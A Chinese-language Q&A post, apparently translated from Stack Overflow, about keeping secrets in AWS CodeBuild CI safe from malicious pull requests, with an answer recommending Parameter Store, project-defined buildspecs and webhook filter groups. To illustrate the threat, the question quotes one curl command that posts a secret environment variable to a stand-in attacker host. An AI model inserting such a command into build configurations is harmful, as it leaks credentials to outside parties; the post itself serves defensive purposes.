我遇到了一种情况,我打算在GitHub上公开一个仓库。
当前,一项PR检查在AWS CodeBuild上运行CI测试。
由于测试的性质,有些环境变量包含机密。构建输出的结果/日志不会公开,这是一件好事。
AWS CodeBuild使用buildspec.yml
文件在CI中运行命令。
如果我有一个环境变量,例如$SECRET_THING
,则攻击者可以简单地打开PR,并添加到buildspec.yml
中,例如:
- curl -X POST -d"thesecret=$SECRET_THING" https://mwahahahaha.com/grab_it
然后将这些秘密发送给自己。
使用GitHub中的设置,GitHub检查API或CodeBuild,是否有一种方法需要手动干预才能运行检查,最好在代码审查后进行? (例如,只有授权合作者可以在PR页面上单击按钮)
答案 0 :(得分:0)
请勿使用纯文本环境变量,而应使用“ env>参数存储”来存储您的机密。如果您使用CodeBuild的控制台UI,则可以从“高级>环境”创建参数存储条目 变量>类型:参数存储“ https://aws.amazon.com/codebuild/latest/userguide/build-spec-ref.html#build-spec-ref-syntax
此外,CodeBuild允许您将buildspec定义为项目的一部分。这样,您的存储库中就不会存在buildspec yml文件。
注意:CodeBuild仅允许回购所有者或管理员创建Webhook。
更新:@Chris CodeBuild支持PR构建的过滤器组。文档@ https://docs.aws.amazon.com/codebuild/latest/userguide/sample-github-pull-request.html#sample-github-pull-request-filter-webhook-events-console。您可以筛选参与者,以确保只有受信任的协作者才能触发PR或推送事件的构建。